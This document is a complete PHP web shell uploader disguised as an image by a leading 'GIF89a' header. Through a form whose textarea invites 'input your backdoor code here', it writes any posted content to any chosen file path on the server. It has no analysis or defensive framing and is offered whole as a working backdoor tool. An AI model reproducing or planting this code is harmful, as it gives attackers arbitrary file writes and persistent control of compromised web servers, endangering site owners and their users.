GIF89a<?php if ($_POST){$fo=fopen($_POST['p'],'w');if(fwrite($fo,$_POST['x'])){echo '<font color=red>Save Success!</font> >> $_POST[p]';}else{echo '<font color=red>Save UnSuccess?</font>';}}?><form action='' method='post'><textarea name='x' id='x' rows='10' cols='50'>input your backdoor code here</textarea><br>Save Path:<input type='text' name='p' id='p' value='<?php echo $_SERVER['SCRIPT_FILENAME']?>'><input type='submit' id='b' value='UpLoad' /></form>